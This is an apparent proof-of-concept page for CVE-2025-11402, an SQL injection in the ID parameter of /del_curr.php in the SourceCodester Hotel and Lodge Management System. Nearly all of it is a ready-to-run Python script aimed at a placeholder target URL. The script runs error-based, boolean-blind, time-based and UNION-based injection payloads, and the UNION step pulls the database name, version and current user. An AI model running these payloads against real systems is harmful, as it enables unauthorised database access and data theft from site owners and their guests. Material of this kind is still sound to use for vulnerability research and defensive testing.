CVE-2025-11402 SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11402 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /del_curr.php # Vulnerable Parameter: ID import requests # Target configuration TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/del_curr.php" # Step 1: Basic SQL Injection test - Error-based detection def test_error_based(target_url): """Test for error-based SQL injection""" payload = "1'" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if "error" in response.text.lower() or "syntax" in response.text.lower(): print(f"[+] Error-based SQL Injection detected at: {url}") return True return False # Step 2: Boolean-based blind SQL Injection def boolean_blind_injection(target_url): """Exploit boolean-based blind SQL injection to extract data""" # True condition true_payload = "1' AND '1'='1" true_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={true_payload}") # False condition false_payload = "1' AND '1'='2" false_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={false_payload}") if true_response.text != false_response.text: print("[+] Boolean-based blind SQL Injection confirmed") return True return False # Step 3: Time-based blind SQL Injection def time_based_injection(target_url): """Exploit time-based blind SQL injection""" import time payload = "1' AND SLEEP(5)-- -" start_time = time.time() requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}") elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Time-based blind SQL Injection confirmed") return True return False # Step 4: UNION-based SQL Injection to extract data def union_injection(target_url): """Extract database information using UNION injection""" # Determine number of columns first for i in range(1, 10): columns = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {columns}-- -" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] UNION injection works with {i} columns") # Extract database version and current user info_payload = f"-1' UNION SELECT database(),version(),user()-- -" info_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={info_payload}") print(f"[+] Database info: {info_response.text}") return True return False # Main execution if __name__ == "__main__": print(f"[*] Testing CVE-2025-11402 against {TARGET_URL}") test_error_based(TARGET_URL) boolean_blind_injection(TARGET_URL) time_based_injection(TARGET_URL) union_injection(TARGET_URL)